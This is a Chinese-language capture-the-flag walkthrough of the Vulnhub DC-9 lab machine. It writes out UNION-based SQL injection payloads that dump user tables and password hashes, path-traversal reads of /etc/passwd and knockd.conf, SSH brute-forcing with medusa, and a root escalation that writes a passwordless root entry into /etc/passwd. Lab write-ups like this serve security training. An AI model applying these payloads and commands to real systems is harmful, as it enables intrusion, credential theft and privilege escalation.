Vulnhub-DC-9

    技术2025-03-29  31

    nmap 扫描获取目标 IP 地址

    nmap 扫描目标 IP 地址获得开放端口: 这里仔细看下,可以看到 22 是 filtered,80 开放,22 是被过滤这就很奇怪,针对这个,首先你得看下这篇文章: 保护 SSH 的三把锁 不想看的看下边:(强推看下原文)

    简单总结下就是:1.换端口 2.指定用户登入 3.敲门服务 这里重点说下敲门服务就是,你想打开 ssh 大门,打开大门方式是念咒语,你得先去打开其它几扇门才可以打开 SSH 服务,敲门服务必须安装敲门守护进程 knockd,敲门配置在 /etc/knockd.conf 文件

    好啦,带着上述知识继续上路吧~

    浏览下 web 页面:192.168.67.43

    随便点了一下,发现一些账号,可能有用:

    Search 搜索 Mary,跳出来的内容是刚刚的一些账号

    尝试加一个单引号,搜索不出,再试试加个 #,页面正常,所以此处有 SQL 注入:

    Mary' order by 7# – result 0 +Mary' union select 1,2,3,4,5,6#

    +Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#

    +Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#

    得到用户名和密码: admin 856f5de590ef37314e7c3bdf6f8a66dc 数一数是32位,可能是 MD5 ,去 MD5 网站解密,找了多家就这家好用 输入让你无语的 MD5 得到密码:transorbital1,登陆网站

    登入之后,细心的你一定可以发现上述 “File does not exit” 猜测存在文件包含漏洞,在 url 地址栏输入: http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd

    但,好像并没有什么乱用欸,也不能像上次那样在日志文件写入 shell,建立连接,那该怎么办呢?可以想到这里有 22 端口等待我们利用呢?但刚刚我们查看数据的时候,好像只有个 admin ,莫非,还有别的东西?

    看看还有哪些表没有发现的:

    –查询所有数据库 +Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6# 可以看到除了一个 Staff 数据库之外还有一个 users 数据库

    –查询 users 数据库下的表 +Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6# 有一张 UserDetails 表

    –查列: +Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#

    –查数据: +Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6# 将数据保存得到: 从用户名和密码你会发现这个哥们是,是刷了几遍的《老友记》啊!!!

    回到前面,我们发现 SSH 是被过滤的啊,那怎么进去?或者说?怎么打开 SSH 服务?,这就要用到前面的敲门了。 文件包含查看一下密令: http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf 可以看到,欲打开 SSH 的大门,需敲门:7469,8475,9842

    敲门后,SSH 就打开了: 但是这么多用户我们应该用哪个呢?手工一个一个试可行但太慢了,可以用 hydra 或者 medusa medusa -h 192.168.67.43 -U users.txt -P password.txt 等待爆破完成:

    可以得到如下账号和密码:这些都是可以拿去 SSH 登陆的

    分别登录到每个账号: 每个账号 ls 都没有看到什么东西,那有没有隐藏文件呢? ls -la 发现其他两个账号都没有 secret 这个目录,只有 janitor 有:

    打开看看: cd .secrets-for-putin ls -la cat passwords-found-on-post-it-notes.txt 得到一些密码:

    继续用之前得到的用户跑一下这些密码: medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt 得到一个新的账号: fredf B4-Tru3-001

    拿去登陆,这是突破口:) ls -la 没什么东西,看来到这里就是要提权了。 find -perm -4000:没有东西 枚举一下 sudo 权限: sudo -l 去看看。 cd /opt/devstuff/dist/test ls -la cat test 乱码,这是什么类型的文件?采取故意执行报错的方式得知: ./test

    原来是 python 文件,退回到上上层,看到有 test.py: cat test.py

    可以看到 python 文件后面可以跟两个参数:作用是读取第一个文件的内容写入到第二个文件,而且运行的时候是以 root 权限执行的,什么东西写进去之后可以立马提权的 — /etc/passwd 模仿 root 写入即可: echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd

    ssh r00t@192.168.67.43

    原来必须得要有密钥才可以登陆,否则不可以,我们知道 linux 的加密算法:明文密码和一个叫salt的东西通过函数crypt()完成加密的,我们可以用 openssl 来创建一个名为 r000t 密码为 123 专属 linux 密文: openssl passwd -1 -salt aa 1234567890

    cd /root ls

    至此完成了 DC 所有系列,well done!

    总结: 1.SQL 注入2.密码破解3.细心观察4.linux 写入 /etc/passwd 提权5.ssh 敲门服务6.ssh 爆破7.隐藏文件8.openssl

    Processed: 0.013, SQL: 9